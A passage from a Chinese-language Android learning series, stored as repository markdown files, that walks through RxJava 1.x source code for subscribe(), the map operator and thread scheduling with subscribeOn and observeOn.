observable.onSubscribe).call(subscriber);\n            return RxJavaHooks.onObservableReturn(subscriber);\n\n            // 其实上面的这两句代码完全可以简写为:\n            // (observable.onSubscribe).call(subscriber);\n            // return subscriber\n\n\n\n        } catch (Throwable e) {\n            // special handling for certain Throwable/Error/Exception types\n            Exceptions.throwIfFatal(e);\n            // in case the subscriber can't listen to exceptions anymore\n            if (subscriber.isUnsubscribed()) {\n                RxJavaHooks.onError(RxJavaHooks.onObservableError(e));\n            } else {\n                // if an unhandled error occurs executing the onSubscribe we will propagate it\n                try {\n                    subscriber.onError(RxJavaHooks.onObservableError(e));\n                } catch (Throwable e2) {\n                    Exceptions.throwIfFatal(e2);\n                    // if this happens it means the onError itself failed (perhaps an invalid function implementation)\n                    // so we are unable to propagate the error correctly and will just throw\n                    RuntimeException r = new OnErrorFailedException(\"Error occurred attempting to subscribe [\" + e.getMessage() + \"] and then again while trying to pass to onError.\", e2);\n                    // TODO could the hook be the cause of the error in the on error handling.\n                    RxJavaHooks.onObservableError(r);\n                    // TODO why aren't we throwing the hook's return value.\n                    throw r; // NOPMD\n                }\n            }\n            return Subscriptions.unsubscribed();\n        }\n    }\n}    \n```\n\n上面代码的核心是:   \n```java\nRxJavaHooks.onObservableStart(observable, observable.onSubscribe).call(subscriber);\nreturn RxJavaHooks.onObservableReturn(subscriber);\n```\n\n而`RxJavaHooks`这个类我们在前面讲`Observable`的时候也讲到过这个类的`onCreate()`方法。 \n\n我们分别看下他们的源码:    \n```java\npublic static <T> Observable.OnSubscribe<T> onObservableStart(Observable<T> instance, Observable.OnSubscribe<T> onSubscribe) {\n\t// 这一块代码是不是似曾相识？ 前面讲的RxJavaHooks。onCreate()方法是不是也是这样实现的？ 只不过那里是onObservableCreate而这里是onObservableStart，这里可以简单的理解为返回参数onSubscribe\n    Func2<Observable, Observable.OnSubscribe, Observable.OnSubscribe> f = onObservableStart;\n    if (f != null) {\n        return f.call(instance, onSubscribe);\n    }\n    return onSubscribe;\n}\n\n/**\n * Hook to call before the Observable.subscribe() method is about to return a Subscription.\n * @param subscription the original subscription\n * @return the original or alternative subscription that will be returned\n */\npublic static Subscription onObservableReturn(Subscription subscription) {\n    Func1<Subscription, Subscription> f = onObservableReturn;\n    if (f != null) {\n        return f.call(subscription);\n    }\n    return subscription;\n}\n\nstatic void init() {\n    onObservableStart = new Func2<Observable, Observable.OnSubscribe, Observable.OnSubscribe>() {\n        @Override\n        public Observable.OnSubscribe call(Observable t1, Observable.OnSubscribe t2) {\n            return RxJavaPlugins.getInstance().getObservableExecutionHook().onSubscribeStart(t1, t2);\n        }\n    };\n\n    onObservableReturn = new Func1<Subscription, Subscription>() {\n        @Override\n        public Subscription call(Subscription f) {\n            return RxJavaPlugins.getInstance().getObservableExecutionHook().onSubscribeReturn(f);\n        }\n    };\n}        \n```\n\n所以这里这两句核心代码是不就可以简写为:   \n```java\n(observable.onSubscribe).call(subscriber);\nreturn subscriber\n```\n而这里`observable.onSubscribe`变量是谁呢？ 它就是前面我们说的在`Observable.onCreate(OnSubscribe<T> f)`方法中将参数赋值给的那个变量，也就是`OnSubscribe`接口的实现类，而我们在调用`onCreate()`方法的时候都会实现`call()`方法。\n```java\n/**\n * Invoked when Observable.subscribe is called.\n * @param <T> the output value type\n */\npublic interface OnSubscribe<T> extends Action1<Subscriber<? super T>> {\n    // cover for generics insanity\n}\n```\t\n\n\nOver\n---\n\n所以到这里我们是不是就分析完了？\n```java\n// 创建被观察者、数据源\nObservable<String> observable = Observable.create(new Observable.OnSubscribe<String>() {\n    @Override\n    public void call(Subscriber<? super String> subscriber) {\n        subscriber.onNext(\"Hello \");\n        subscriber.onNext(\"World !\");\n        subscriber.onCompleted();\n    }\n});\nSubscriber<String> subscriber = new Subscriber<String>() {\n    @Override\n    public void onCompleted() {\n        Log.i(\"@@@\", \"onCompleted\");\n    }\n\n    @Override\n    public void onError(Throwable e) {\n        Log.i(\"@@@\", \"onError\");\n    }\n\n    @Override\n    public void onNext(String s) {\n        Log.i(\"@@@\", \"onNext : \" + s);\n    }\n};\nobservable.subscribe(subscriber);\n```\n\n总结一下:\n- 首先我们调用`Observable.create(OnSubscribe f)`创建一个观察者，同时创建一个`OnSubscribe`接口的实现类作为`create()`方法的参数，并重写该接口的`call()`方法，在`call()`方法中我们调用`subscriber`的`onNext()`、`onComplete()`及`onError()`方法。而这个`call()`方法中的`subscriber`对象就是我们后面调用`observable.subscribe(subscriber);`所传递的`subscribe`对象。    \n- 然后调用`new Subscriber()`创建一个`Subscriber`类的实例。 \n- 最后通过`observable.subscribe(subscriber);`将`Observable`和`Subscriber`对象进行绑定。来订阅我们自己创建的观察者`Subscriber`对象。\n一旦调用`subscribe()`方法后就会触发执行`OnSubscribe.call()`。而我们上面实现的`OnSubscribe.call()`方法会调用`Subscriber`类的`onNext()`、`onComplete()`及`onError()`等方法。\n\n\n更多内容请看下一篇文章[RxJava详解(五)][1]\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/RxJavaPart/5.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E6%93%8D%E4%BD%9C%E7%AC%A6%E6%89%A7%E8%A1%8C%E5%8E%9F%E7%90%86(%E4%BA%94).md \"RxJava详解(五)\"\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/RxJavaPart/5.RxJava详解之操作符执行原理(五).md",
    "content": "RxJava详解之操作符执行原理(五)\n===\n\n\n上一篇文章介绍了`RxJava`的执行原理。下面继续介绍一下操作符的执行原理，但是操作符太多了，这里用`map`来进行说明。 \n```java\nObservable<String> observable = Observable.create(new Observable.OnSubscribe<String>() {\n    @Override\n    public void call(Subscriber<? super String> subscriber) {\n        subscriber.onNext(\"Hello \");\n        subscriber.onNext(\"World !\");\n        subscriber.onCompleted();\n    }\n});\n\nobservable.map(new Func1<String, String>() {\n    @Override\n    public String call(String s) {\n        return \"say\" + s;\n    }\n});\n\nobservable.subscribe(new Subscriber<String>() {\n    @Override\n    public void onCompleted() {\n\n    }\n\n    @Override\n    public void onError(Throwable e) {\n\n    }\n\n    @Override\n    public void onNext(String s) {\n        Log.i(\"@@@\", s);\n    }\n});\n```\n\n执行结果很显然是`say Hello`和`say World !`。   \n\n我们直接进入`Observable.map()`方法的源码:     \n```java\npublic final <R> Observable<R> map(Func1<? super T, ? extends R> func) {\n    return create(new OnSubscribeMap<T, R>(this, func));\n}\n\npublic static <T> Observable<T> create(OnSubscribe<T> f) {\n    return new Observable<T>(RxJavaHooks.onCreate(f));\n}   \n```\n`map`的内部调用了`create()`方法，而`create()`方法的源码我们再上一个版本已经介绍了，也就是说`map`内部会创建一个新的`Observable`对象，而且用一个新的`OnSubscribeMap`对象作为参数。 \n`OnSubscribeMap()`对象的参数分别是之前通过`create()`方法创建的`Observable`对象，以及`map`中传递过来的`Func1`类的对象。接下来就直接看`OnSubscribeMap`类的源码，他实现了`OnSubscribe`接口，并重写了`call()`方法:   \n```java\n/**\n * Applies a function of your choosing to every item emitted by an {@code Observable}, and emits the results of\n * this transformation as a new {@code Observable}.\n */\npublic final class OnSubscribeMap<T, R> implements OnSubscribe<R> {\n    // 最初Observable.create()创建的Observable对象\n    final Observable<T> source;\n    // map方法传递过来的func1对象，它是一个转换功能\n    final Func1<? super T, ? extends R> transformer;\n\n    public OnSubscribeMap(Observable<T> source, Func1<? super T, ? extends R> transformer) {\n        this.source = source;\n        this.transformer = transformer;\n    }\n\n    @Override\n    public void call(final Subscriber<? super R> o) {\n        MapSubscriber<T, R> parent = new MapSubscriber<T, R>(o, transformer);\n        // 把新创建的MapSubscriber添加到Observable.subscribe(subscribe)方法传递的参数subscriber中\n        o.add(parent);\n        // unsafeSubscribe是subscribe方法的一个安全性不高的操作，可以简单理解为subscribe方法\n        source.unsafeSubscribe(parent);\n    }\n\n    static final class MapSubscriber<T, R> extends Subscriber<T> {\n\n        final Subscriber<? super R> actual;\n\n        final Func1<? super T, ? extends R> mapper;\n\n        boolean done;\n\n        public MapSubscriber(Subscriber<? super R> actual, Func1<? super T, ? extends R> mapper) {\n            this.actual = actual;\n            this.mapper = mapper;\n        }\n\n        @Override\n        public void onNext(T t) {\n            R result;\n\n            try {\n                // 先会执行以下转换函数的call方法，然后将结果再传递给Subscribe对象调用它的onNext方法\n                result = mapper.call(t);\n            } catch (Throwable ex) {\n                Exceptions.throwIfFatal(ex);\n                unsubscribe();\n                onError(OnErrorThrowable.addValueAsLastCause(ex, t));\n                return;\n            }\n\n            actual.onNext(result);\n        }\n\n        @Override\n        public void onError(Throwable e) {\n            if (done) {\n                RxJavaHooks.onError(e);\n                return;\n            }\n            done = true;\n\n            actual.onError(e);\n        }\n\n\n        @Override\n        public void onCompleted() {\n            if (done) {\n                return;\n            }\n            actual.onCompleted();\n        }\n\n        @Override\n        public void setProducer(Producer p) {\n            actual.setProducer(p);\n        }\n    }\n}\n```\n\n因为在执行`observable.subscribe(subscriber)`方法会调用到`call()`方法，这里看一下`call()`方法的核心:   \n```java\nMapSubscriber<T, R> parent = new MapSubscriber<T, R>(o, transformer);\n// 把新创建的MapSubscriber添加到Observable.subscribe(subscribe)方法传递的参数subscriber中\no.add(parent);\n// unsafeSubscribe是subscribe方法的一个安全性不高的操作，可以简单理解为subscribe方法，注意这里传递的是parent，也就是先创建的MapSubscriber对象，而这里的source是谁呢？ 它是最初Observable.create创建的Observable对象\nsource.unsafeSubscribe(parent);\n```\n`add()`及`unsasfeSubscribe()`方法如下:   \n```java\nprivate final SubscriptionList subscriptions;\n\npublic final void add(Subscription s) {\n    subscriptions.add(s);\n}\n\npublic final Subscription unsafeSubscribe(Subscriber<? super T> subscriber) {\n    try {\n        // new Subscriber so onStart it\n        subscriber.onStart();\n        // allow the hook to intercept and/or decorate\n        RxJavaHooks.onObservableStart(this, onSubscribe).call(subscriber);\n        return RxJavaHooks.onObservableReturn(subscriber);\n    } catch (Throwable e) {\n        // special handling for certain Throwable/Error/Exception types\n        Exceptions.throwIfFatal(e);\n        // if an unhandled error occurs executing the onSubscribe we will propagate it\n        try {\n            subscriber.onError(RxJavaHooks.onObservableError(e));\n        } catch (Throwable e2) {\n            Exceptions.throwIfFatal(e2);\n            // if this happens it means the onError itself failed (perhaps an invalid function implementation)\n            // so we are unable to propagate the error correctly and will just throw\n            RuntimeException r = new OnErrorFailedException(\"Error occurred attempting to subscribe [\" + e.getMessage() + \"] and then again while trying to pass to onError.\", e2);\n            // TODO could the hook be the cause of the error in the on error handling.\n            RxJavaHooks.onObservableError(r);\n            // TODO why aren't we throwing the hook's return value.\n            throw r; // NOPMD\n        }\n        return Subscriptions.unsubscribed();\n    }\n}\n```\n这一块代码就很简单了，因为和前面一篇我们分析的`subscribe()`方法类似，相当于直接调用了最初`Observable.create()`创建的`Observable`对象的`call(subscriber)`方法，而这里的`subscriber`又是我们创建的`MapSubscriber`的子类，所以这里相当于调用了`MapSubscriber`类中的`onNext()`、`onComplete()`和`onError()`方法:   \n\n```java\nstatic final class MapSubscriber<T, R> extends Subscriber<T> {\n\n    final Subscriber<? super R> actual;\n\n    final Func1<? super T, ? extends R> mapper;\n\n    boolean done;\n\n    public MapSubscriber(Subscriber<? super R> actual, Func1<? super T, ? extends R> mapper) {\n        this.actual = actual;\n        this.mapper = mapper;\n    }\n\n    @Override\n    public void onNext(T t) {\n        R result;\n\n        try {\n            // 先会执行以下转换函数的call方法，这个就是我们把Hello修改为say Hello的部分\n            result = mapper.call(t);\n        } catch (Throwable ex) {\n            Exceptions.throwIfFatal(ex);\n            unsubscribe();\n            onError(OnErrorThrowable.addValueAsLastCause(ex, t));\n            return;\n        }\n        // 将转换函数的call方法的执行结果交给最初的Subscriber.onNext()方法的参数来执行\n        actual.onNext(result);\n    }\n    ...\n}\n```\n乱不乱？\n\n梳理一下:\n\n- 我们把不使用`map`操作符时正常的操作创建的`Observable`和`Subscriber`分别称为1号。 \n- 而`map`又会通过`create`分辨创建一个`Observable`2号和`Subscriber`2号，当我们执行`map`的时候，会最终执行到`Subscriber`2号的`onNext()`方法中，而该方法内部会先执行一些转换操作，然后将执行完的结果作为参数传递给并调用最初的`Subscriber`1号的`onNext()`方法。懂不？ 多看两遍，这里有点绕。\n\n\n\n\n更多内容请看下一篇文章[RxJava详解(六)][1]\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/RxJavaPart/6.RxJava%E8%AF%A6%E8%A7%A3%E4%B9%8B%E7%BA%BF%E7%A8%8B%E8%B0%83%E5%BA%A6%E5%8E%9F%E7%90%86(%E5%85%AD).md \"RxJava详解(六)\"\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/RxJavaPart/6.RxJava详解之线程调度原理(六).md",
    "content": "RxJava详解之线程调度原理(六)\n===\n\n\n```java\nObservable.create(new Observable.OnSubscribe<String>() {\n    @Override\n    public void call(Subscriber<? super String> subscriber) {\n        subscriber.onNext(\"Hello\");\n        subscriber.onCompleted();\n        Log.i(\"@@@\", \"call\" + Thread.currentThread().getName());\n    }\n}).subscribeOn(Schedulers.io())\n        .observeOn(AndroidSchedulers.mainThread())\n        .subscribe(new Subscriber<String>() {\n            @Override\n            public void onCompleted() {\n\n            }\n\n            @Override\n            public void onError(Throwable e) {\n\n            }\n\n            @Override\n            public void onNext(String s) {\n                Log.i(\"@@@\", \"onNext : \" + Thread.currentThread().getName());\n            }\n        });\n```\n执行结果:   \n```java\n07-26 17:16:49.284 7266-7309/? I/@@@: callRxIoScheduler-2\n07-26 17:16:49.368 7266-7266/? I/@@@: onNext : main\n```\n\n`subscribeOn()`是指定被观察者事件源的执行线程。\n`observeOn()`是指定观察者的处理时间的线程。\n\n\nsubscribeOn源码分析:   \n```java\npublic final Observable<T> subscribeOn(Scheduler scheduler) {\n    if (this instanceof ScalarSynchronousObservable) {\n        return ((ScalarSynchronousObservable<T>)this).scalarScheduleOn(scheduler);\n    }\n    return create(new OperatorSubscribeOn<T>(this, scheduler));\n}\n\n/**\n * A {@code Scheduler} is an object that schedules units of work. You can find common implementations of this\n * class in {@link Schedulers}.\n * 线程调度器\n */\npublic abstract class Scheduler {\n    ...\n}\n```\n它内部也是通过`create()`创建一个`Observable`但是唯一不同的是`OnSubscribe`传递的是`OperatorSubscribeOn`对象:    \n```java\n/**\n * Subscribes Observers on the specified {@code Scheduler}.\n */\npublic final class OperatorSubscribeOn<T> implements OnSubscribe<T> {\n\n    final Scheduler scheduler;\n    final Observable<T> source;\n\n    public OperatorSubscribeOn(Observable<T> source, Scheduler scheduler) {\n        this.scheduler = scheduler;\n        this.source = source;\n    }\n\n    @Override\n    public void call(final Subscriber<? super T> subscriber) {\n        final Worker inner = scheduler.createWorker();\n        subscriber.add(inner);\n\n        inner.schedule(new Action0() {\n            @Override\n            public void call() {\n                final Thread t = Thread.currentThread();\n\n                Subscriber<T> s = new Subscriber<T>(subscriber) {\n                    @Override\n                    public void onNext(T t) {\n                        subscriber.onNext(t);\n                    }\n\n                    @Override\n                    public void onError(Throwable e) {\n                        try {\n                            subscriber.onError(e);\n                        } finally {\n                            inner.unsubscribe();\n                        }\n                    }\n\n                    @Override\n                    public void onCompleted() {\n                        try {\n                            subscriber.onCompleted();\n                        } finally {\n                            inner.unsubscribe();\n                        }\n                    }\n\n                    @Override\n                    public void setProducer(final Producer p) {\n                        subscriber.setProducer(new Producer() {\n                            @Override\n                            public void request(final long n) {\n                                if (t == Thread.currentThread()) {\n                                    p.request(n);\n                                } else {\n                                    inner.schedule(new Action0() {\n                                        @Override\n                                        public void call() {\n                                            p.request(n);\n                                        }\n                                    });\n                                }\n                            }\n                        });\n                    }\n                };\n\n                source.unsafeSubscribe(s);\n            }\n        });\n    }\n}\n```\n它内部原理其实和`map`是一样一样的。我们就从`call()`方法说起，首先看一下`Subscriber`和`Worker`类:   \n\n```java\n/**\n * A {@code Scheduler} is an object that schedules units of work. You can find common implementations of this\n * class in {@link Schedulers}.\n */\npublic abstract class Scheduler {\n    /**\n     * Retrieves or creates a new {@link Scheduler.Worker} that represents serial execution of actions.\n     * <p>\n     * When work is completed it should be unsubscribed using {@link Scheduler.Worker#unsubscribe()}.\n     * <p>\n     * Work on a {@link Scheduler.Worker} is guaranteed to be sequential.\n     *\n     * @return a Worker representing a serial queue of actions to be executed\n     */\n    public abstract Worker createWorker();\n\n    /**\n     * Sequential Scheduler for executing actions on a single thread or event loop.\n     * <p>\n     * Unsubscribing the {@link Worker} cancels all outstanding work and allows resources cleanup.\n     */\n    public abstract static class Worker implements Subscription {\n\n        /**\n         * Schedules an Action for execution.\n         */\n        public abstract Subscription schedule(Action0 action);\n\n        /**\n         * Schedules an Action for execution at some point in the future.\n         */\n        public abstract Subscription schedule(final Action0 action, final long delayTime, final TimeUnit unit);\n    }\n}    \n```\n\n而上面的`schedulers`是通过`Schedulers.io()`创建的，这里看一下它的源码:  \n```java\npublic final class Schedulers {\n\n    private final Scheduler computationScheduler;\n    private final Scheduler ioScheduler;\n    private final Scheduler newThreadScheduler;\n\n    private static final AtomicReference<Schedulers> INSTANCE = new AtomicReference<Schedulers>();\n\n    private static Schedulers getInstance() {\n        for (;;) {\n            Schedulers current = INSTANCE.get();\n            if (current != null) {\n                return current;\n            }\n            current = new Schedulers();\n            if (INSTANCE.compareAndSet(null, current)) {\n                return current;\n            } else {\n                current.shutdownInstance();\n            }\n        }\n    }\n\n    public static Scheduler io() {\n        return RxJavaHooks.onIOScheduler(getInstance().ioScheduler);\n    }\n\n    private Schedulers() {\n        @SuppressWarnings(\"deprecation\")\n        RxJavaSchedulersHook hook = RxJavaPlugins.getInstance().getSchedulersHook();\n\n        Scheduler c = hook.getComputationScheduler();\n        if (c != null) {\n            computationScheduler = c;\n        } else {\n            computationScheduler = RxJavaSchedulersHook.createComputationScheduler();\n        }\n\n        // 下面几时创建ioScheduler的地方\n        Scheduler io = hook.getIOScheduler();\n        if (io != null) {\n            ioScheduler = io;\n        } else {\n            ioScheduler = RxJavaSchedulersHook.createIoScheduler();\n        }\n\n        Scheduler nt = hook.getNewThreadScheduler();\n        if (nt != null) {\n            newThreadScheduler = nt;\n        } else {\n            newThreadScheduler = RxJavaSchedulersHook.createNewThreadScheduler();\n        }\n    }\n    ...\n}    \n```\n继续`onIOScheduler`的源码:   \n```java\n/**\n * 和create()方法类似，这里简单的理解为直接返回参数即可\n * Hook to call when the Schedulers.io() is called.\n * @param scheduler the default io scheduler\n * @return the default of alternative scheduler\n */\npublic static Scheduler onIOScheduler(Scheduler scheduler) {\n    Func1<Scheduler, Scheduler> f = onIOScheduler;\n    if (f != null) {\n        return f.call(scheduler);\n    }\n    return scheduler;\n}\n```\n而上面`getInstance().ioScheduler`的地方最终会调用到`RxJavaSchedulersHook.createIoScheduler()`:   \n```java\n@Experimental\npublic static Scheduler createIoScheduler() {\n    return createIoScheduler(new RxThreadFactory(\"RxIoScheduler-\"));\n}\n\npublic static Scheduler createIoScheduler(ThreadFactory threadFactory) {\n    if (threadFactory == null) {\n        throw new NullPointerException(\"threadFactory == null\");\n    }\n    // 看到了吗？ 这里最终的Scheduler是CachedThreadScheduler\n    return new CachedThreadScheduler(threadFactory);\n}\n```\n\n而在`CachedThreadScheduler`类中:   \n```java\npublic final class CachedThreadScheduler extends Scheduler implements SchedulerLifecycle {\n\n    @Override\n    public Worker createWorker() {\n        return new EventLoopWorker(pool.get());\n    }\n    ...\n}    \n```\n\n所以我们通过`Schedulers.io()`的源码可以发现这里的具体实现类是`CachedThreadScheduler`。而对应的`Worker`的实现类是`EventLoopWorker`:   \n```java\n   static final class EventLoopWorker extends Scheduler.Worker implements Action0 {\n        private final CompositeSubscription innerSubscription = new CompositeSubscription();\n        private final CachedWorkerPool pool;\n        private final ThreadWorker threadWorker;\n        final AtomicBoolean once;\n\n        EventLoopWorker(CachedWorkerPool pool) {\n            this.pool = pool;\n            this.once = new AtomicBoolean();\n            this.threadWorker = pool.get();\n        }\n\n        @Override\n        public void unsubscribe() {\n            if (once.compareAndSet(false, true)) {\n                // unsubscribe should be idempotent, so only do this once\n\n                // Release the worker _after_ the previous action (if any) has completed\n                threadWorker.schedule(this);\n            }\n            innerSubscription.unsubscribe();\n        }\n\n        @Override\n        public void call() {\n            pool.release(threadWorker);\n        }\n\n        @Override\n        public boolean isUnsubscribed() {\n            return innerSubscription.isUnsubscribed();\n        }\n\n        @Override\n        public Subscription schedule(Action0 action) {\n            return schedule(action, 0, null);\n        }\n\n        @Override\n        public Subscription schedule(final Action0 action, long delayTime, TimeUnit unit) {\n            if (innerSubscription.isUnsubscribed()) {\n                // don't schedule, we are unsubscribed\n                return Subscriptions.unsubscribed();\n            }\n\n            ScheduledAction s = threadWorker.scheduleActual(new Action0() {\n                @Override\n                public void call() {\n                    if (isUnsubscribed()) {\n                        return;\n                    }\n                    // 内部会调用外面传递过来的Action对象的call方法\n                    action.call();\n                }\n            }, delayTime, unit);\n            innerSubscription.add(s);\n            s.addParent(innerSubscription);\n            return s;\n        }\n```\n这里会继续执行到`threadWorker.scheduleActual`:   \n```java\npublic class NewThreadWorker extends Scheduler.Worker implements Subscription {\n    private final ScheduledExecutorService executor;\n\n    public ScheduledAction scheduleActual(final Action0 action, long delayTime, TimeUnit unit) {\n        Action0 decoratedAction = RxJavaHooks.onScheduledAction(action);\n        ScheduledAction run = new ScheduledAction(decoratedAction);\n        Future<?> f;\n        if (delayTime <= 0) {\n            f = executor.submit(run);\n        } else {\n            f = executor.schedule(run, delayTime, unit);\n        }\n        run.add(f);\n\n        return run;\n    }\n...\n}\n```\n\n而`ScheduledAction`的源码:   \n```java\n/**\n * A {@code Runnable} that executes an {@code Action0} and can be cancelled. The analog is the\n * {@code Subscriber} in respect of an {@code Observer}.\n */\npublic final class ScheduledAction extends AtomicReference<Thread> implements Runnable, Subscription {\n    /** */\n    private static final long serialVersionUID = -3962399486978279857L;\n    final SubscriptionList cancel;\n    final Action0 action;\n\n    public ScheduledAction(Action0 action) {\n        this.action = action;\n        this.cancel = new SubscriptionList();\n    }\n    ...\n}    \n```\n\n`ScheduledAction`实现了`Runnable`接口，通过线程池`executor`最终实现了线程切换。上面便是`subscribeOn(Schedulers.io())`实现线程切换的全部过程。\n\n\nobserveOn源码分析\n---\n\n直接上源码:   \n```java\npublic final Observable<T> observeOn(Scheduler scheduler) {\n    return observeOn(scheduler, RxRingBuffer.SIZE);\n}\n\npublic final Observable<T> observeOn(Scheduler scheduler, int bufferSize) {\n    return observeOn(scheduler, false, bufferSize);\n}\n\npublic final Observable<T> observeOn(Scheduler scheduler, boolean delayError, int bufferSize) {\n    if (this instanceof ScalarSynchronousObservable) {\n        return ((ScalarSynchronousObservable<T>)this).scalarScheduleOn(scheduler);\n    }\n    return lift(new OperatorObserveOn<T>(scheduler, delayError, bufferSize));\n}\n```\n`observeOn`内部是通过`lift`来实现的，看一下`lift`的源码:     \n```java\npublic final <R> Observable<R> lift(final Operator<? extends R, ? super T> operator) {\n    return create(new OnSubscribeLift<T, R>(onSubscribe, operator));\n}\n```  \n归根到底还是使用了`create()`，那就和之前分析的基本都差不多了，直接看`OnSubscribeLift`:  \n```java\n/**\n * Transforms the downstream Subscriber into a Subscriber via an operator\n * callback and calls the parent OnSubscribe.call() method with it.\n */\npublic final class OnSubscribeLift<T, R> implements OnSubscribe<R> {\n\n    final OnSubscribe<T> parent;\n\n    final Operator<? extends R, ? super T> operator;\n\n    public OnSubscribeLift(OnSubscribe<T> parent, Operator<? extends R, ? super T> operator) {\n        this.parent = parent;\n        this.operator = operator;\n    }\n\n    @Override\n    public void call(Subscriber<? super R> o) {\n        try {\n            Subscriber<? super T> st = RxJavaHooks.onObservableLift(operator).call(o);\n            try {\n                // new Subscriber created and being subscribed with so 'onStart' it\n                st.onStart();\n                parent.call(st);\n            } catch (Throwable e) {\n                // localized capture of errors rather than it skipping all operators\n                // and ending up in the try/catch of the subscribe method which then\n                // prevents onErrorResumeNext and other similar approaches to error handling\n                Exceptions.throwIfFatal(e);\n                st.onError(e);\n            }\n        } catch (Throwable e) {\n            Exceptions.throwIfFatal(e);\n            // if the lift function failed all we can do is pass the error to the final Subscriber\n            // as we don't have the operator available to us\n            o.onError(e);\n        }\n    }\n}\n```\n也实现了`OnSubscribe`，通过前面的分析我们知道一旦调用了`subscribe()`将观察者与被观察绑定后就会触发被观察者所对应的`OnSubscribe`的`call()`方法，所以这里会触发`OnSubscribeLift.call()`。在`call()`中调用了`OperatorObserveOn.call()`并返回了一个新的观察者`Subscriber st`，接着调用了前一级`Observable`对应`OnSubscriber.call(st)`。\n所以这里要看一下`OperatorObserveOn`类及它的`call()`方法:   \n```java\npublic final class OperatorObserveOn<T> implements Operator<T, T> {\n    private final Scheduler scheduler;\n    private final boolean delayError;\n    private final int bufferSize;\n\n    public OperatorObserveOn(Scheduler scheduler, boolean delayError) {\n        this(scheduler, delayError, RxRingBuffer.SIZE);\n    }\n\n    public OperatorObserveOn(Scheduler scheduler, boolean delayError, int bufferSize) {\n        this.scheduler = scheduler;\n        this.delayError = delayError;\n        this.bufferSize = (bufferSize > 0) ? bufferSize : RxRingBuffer.SIZE;\n    }\n\n    @Override\n    public Subscriber<? super T> call(Subscriber<? super T> child) {\n        if (scheduler instanceof ImmediateScheduler) {\n            // avoid overhead, execute directly\n            return child;\n        } else if (scheduler instanceof TrampolineScheduler) {\n            // avoid overhead, execute directly\n            return child;\n        } else {\n            ObserveOnSubscriber<T> parent = new ObserveOnSubscriber<T>(scheduler, child, delayError, bufferSize);\n            parent.init();\n            return parent;\n        }\n    }\n```\n这里会走到创建`ObserveOnSubscriber`然后调用其`init()`方法:   \n```java\nstatic final class ObserveOnSubscriber<T> extends Subscriber<T> implements Action0 {\n    final Subscriber<? super T> child;\n    final Scheduler.Worker recursiveScheduler;\n    final boolean delayError;\n    final Queue<Object> queue;\n    /** The emission threshold that should trigger a replenishing request. */\n    final int limit;\n\n    // the status of the current stream\n    volatile boolean finished;\n\n    final AtomicLong requested = new AtomicLong();\n\n    final AtomicLong counter = new AtomicLong();\n\n    /**\n     * The single exception if not null, should be written before setting finished (release) and read after\n     * reading finished (acquire).\n     */\n    Throwable error;\n\n    /** Remembers how many elements have been emitted before the requests run out. */\n    long emitted;\n\n    // do NOT pass the Subscriber through to couple the subscription chain ... unsubscribing on the parent should\n    // not prevent anything downstream from consuming, which will happen if the Subscription is chained\n    public ObserveOnSubscriber(Scheduler scheduler, Subscriber<? super T> child, boolean delayError, int bufferSize) {\n        this.child = child;\n        // 通过参数传递过来的Schedule创建对应的worker\n        this.recursiveScheduler = scheduler.createWorker();\n        this.delayError = delayError;\n        int calculatedSize = (bufferSize > 0) ? bufferSize : RxRingBuffer.SIZE;\n        // this formula calculates the 75% of the bufferSize, rounded up to the next integer\n        this.limit = calculatedSize - (calculatedSize >> 2);\n        if (UnsafeAccess.isUnsafeAvailable()) {\n            queue = new SpscArrayQueue<Object>(calculatedSize);\n        } else {\n            queue = new SpscAtomicArrayQueue<Object>(calculatedSize);\n        }\n        // signal that this is an async operator capable of receiving this many\n        request(calculatedSize);\n    }\n\n    void init() {\n        // don't want this code in the constructor because `this` can escape through the\n        // setProducer call\n        Subscriber<? super T> localChild = child;\n\n        localChild.setProducer(new Producer() {\n\n            @Override\n            public void request(long n) {\n                if (n > 0L) {\n                    BackpressureUtils.getAndAddRequest(requested, n);\n                    schedule();\n                }\n            }\n\n        });\n        localChild.add(recursiveScheduler);\n        localChild.add(this);\n    }\n\n    @Override\n    public void onNext(final T t) {\n        if (isUnsubscribed() || finished) {\n            return;\n        }\n        if (!queue.offer(NotificationLite.next(t))) {\n            onError(new MissingBackpressureException());\n            return;\n        }\n        // 有该方法\n        schedule();\n    }\n\n    @Override\n    public void onCompleted() {\n        if (isUnsubscribed() || finished) {\n            return;\n        }\n        finished = true;\n        // 有该方法\n        schedule();\n    }\n\n    @Override\n    public void onError(final Throwable e) {\n        if (isUnsubscribed() || finished) {\n            RxJavaHooks.onError(e);\n            return;\n        }\n        error = e;\n        finished = true;\n        // 有该方法\n        schedule();\n    }\n\n    protected void schedule() {\n        if (counter.getAndIncrement() == 0) {\n            // 调用recursiveScheduler，而recursiveScheduler是通过参数传递过来的\n            recursiveScheduler.schedule(this);\n        }\n    }\n\n    // only execute this from schedule()\n    // 最终会执行到该方法\n    @Override\n    public void call() {\n        long missed = 1L;\n        long currentEmission = emitted;\n\n        // these are accessed in a tight loop around atomics so\n        // loading them into local variables avoids the mandatory re-reading\n        // of the constant fields\n        final Queue<Object> q = this.queue;\n        final Subscriber<? super T> localChild = this.child;\n\n        // requested and counter are not included to avoid JIT issues with register spilling\n        // and their access is is amortized because they are part of the outer loop which runs\n        // less frequently (usually after each bufferSize elements)\n\n        for (;;) {\n            long requestAmount = requested.get();\n\n            while (requestAmount != currentEmission) {\n                boolean done = finished;\n                Object v = q.poll();\n                boolean empty = v == null;\n\n                if (checkTerminated(done, empty, localChild, q)) {\n                    return;\n                }\n\n                if (empty) {\n                    break;\n                }\n                // 该方法会调用onNext方法\n                localChild.onNext(NotificationLite.<T>getValue(v));\n\n                currentEmission++;\n                if (currentEmission == limit) {\n                    requestAmount = BackpressureUtils.produced(requested, currentEmission);\n                    request(currentEmission);\n                    currentEmission = 0L;\n                }\n            }\n\n            if (requestAmount == currentEmission) {\n                if (checkTerminated(finished, q.isEmpty(), localChild, q)) {\n                    return;\n                }\n            }\n\n            emitted = currentEmission;\n            missed = counter.addAndGet(-missed);\n            if (missed == 0L) {\n                break;\n            }\n        }\n    }\n}\n```\n我们看到上面的`onNext`、`onComplete()`和`onError`方法里面都调用了`schedule()`方法，所以这个方法就是具体的切换线程的部分:   \n```java\nprotected void 